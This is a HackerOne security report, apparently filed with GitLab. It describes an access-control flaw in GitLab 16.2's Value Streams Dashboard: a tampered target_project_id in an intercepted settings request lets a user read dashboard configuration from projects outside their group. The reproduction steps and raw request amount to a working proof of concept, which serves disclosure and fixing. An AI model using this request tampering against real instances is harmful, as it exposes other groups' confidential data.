A user is capable of setting a project which does not belong to the current group as the Analytics Dashboard project
HackerOne report #2089409 by ricardobrito
on 2023-07-29, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Greeting team,
Summary
Gitlab 16.2 introduced the ability to customize the value streams dashboard
It allows the user to set his custom description, labels, panels, etc in the value stream dashboards. The value stream dashboads is located in the following path:
http://127.0.0.1:3000/groups/flightjs/-/analytics/dashboards/value_streams_dashboard
for a group named flighjs
.
Starting from Giltab 16.2, it is possible for users to provide a YAML file which contains a configuration which tells the dashboard what to show.
This section in the documentation contains details on how to set this up using a YAML configuration:
Prerequisite:
You must have at least the Maintainer role for the group.
1.On the left sidebar, at the top, select Search GitLab () to find your group.
2.Select Settings > General.
3.Expand Analytics.
4.Select the project where you would like to store your YAML configuration file.
5.Select Save changes.
I have found a vulnerability in step 4, which allows an attacker to set a YAML configuration inside a project that is not part of his group.
Steps to reproduce
First we need an ultimate plan in order to use this feature.
Second, to make testing faster, I am using the GDK version of gitlab which already contains some data pre-generated
- Create a public group inside which you create a public project as the admin user of the instance. (keep note of the project id)
- Still as the admin, create the following file:
.gitlab/analytics/dashboards/value_streams/value_streams.yaml
with the following content:
### title - Change the title of the Value Streams Dashboard. [optional]
title: 'Secret title'
### description - Change the description of the Value Streams Dashboard. [optional]
description: 'Secret description by admin, no one but group members with at least reporter role should be able to see this, please keep confidential.'
panels:
- title: Super Secret dashboard by the admin
data:
namespace: flightjs/flight
- As user B (non admin), create a group, say user-b-group.
4.Select Settings > General. (user B)
5.Expand Analytics. (user B)
6.Select the project where you would like to store your YAML configuration file (select anything really, it does not matter) (user B)
- click save changes and intercept the request, which looks lilke this (User B):
POST /ricardo-group HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:3000/groups/ricardo-group/-/edit
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Origin: http://127.0.0.1:3000
Connection: close
Cookie: logged_out_marketing_header_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqSTJNMlk0T0daaUxXWXpZV0V0TkdRd01pMDRObUkzTFRjM1l6STJNR1F6TURFME9TST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5sb2dnZWRfb3V0X21hcmtldGluZ19oZWFkZXJfaWQifX0%3D--160ca9fe302c0f54b632ce2d8b09b0fc3e6ffe9c; visitor_id=c72ec3c2-ab85-4944-82e3-2d8e3177df54; sidebar_collapsed=false; sidebar_pinned_section_expanded=true; known_sign_in=RnRpTmJKc1JHdC9OcFFZTGJ6V2JYY3E4a1JuV01DL2V3cisrU3JYWmc3NnlUVXdzSWxDektKMkpSTVNGeC9NbFp0aEg3Y0Y0b05BQ0xxb2RPbUJuQ1g4QXNPclloMG5UMUNvTGJ5NlR4NVY4OFdIejlYU2RQazVUaDJmRlZvNmQtLWx6ZmpMbVNIWlAwU3pGam1LTDc1UEE9PQ%3D%3D--4678976551f910c7d69b76350146c6ee39ef6261; perf_bar_enabled=true; preferred_language=en; BetterErrors-2.10.1-CSRF-Token=b2b0f5ed-5e56-4fc6-9124-a652a0ac4b1c; event_filter=all; _gitlab_session_d6f5d86354caea8f8c012bee15b2537274c074c0e5503e0664af2aee95e237a5=ea12c3ce60a9044d5df3b59ce76c0377
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
_method=patch&authenticity_token=mnImAUwme2i-KEGsicQ3JD-A73y2Zi_t0ZW_UBU1jREqCZvyiL62D5Bg-aCB5ihp1FKXFjOz5lTsw2ouzr7Zrw&group%5Banalytics_dashboards_pointer_attributes%5D%5Bid%5D=2&group%5Banalytics_dashboards_pointer_attributes%5D%5Btarget_project_id%5D=ADMIN-PROJECT-ID
Change the ADMIN-PROJECT-ID
to the project id of step 1
8. Now if you go to http://127.0.0.1:3000/groups/user-b-group/-/analytics/dashboards/value_streams_dashboard
You should see the content of the title, description and panel title which were set in the YAML file by the admin
Demo
Impact
According to the documentation, a user should have at least reporter role in the group in order to view these analytics (title, description, data, etc). Even though I am still unable to view all the analytics, with this bug, I can read the description, title, labels and everything else except for the actual data (I will update this when I figure out a way to do so).
However, a user should not be able to set a project he is not a member of or that does not belong to the group he is setting the analytics dashboard for.
Technical details
This bug happens because the function find_pointer_project
located in https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/controllers/groups/analytics/dashboards_controller.rb?ref_type=heads#L48 will return any project, given its id
:
def find_pointer_project
Project.find_by_id(
[@]group.analytics_dashboards_pointer&.target_project_id
)&.as_json(only: %w[id name], methods: %w[full_path])
end
Which will be set as the place where the analytics dashboard will read the YAML file from.
Possible fix
Check that the project being set in the analytics dashboard settings is part of the group. This is not supposed to happen through the UI because the dropdown will only list projects in the current group.
Impact
A user is capable of setting a project which does not belong to the current group as the Analytics Dashboard project. This is not possible through the UI because the dropdown will only list projects in the current group, but in the API it is possible to do so.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: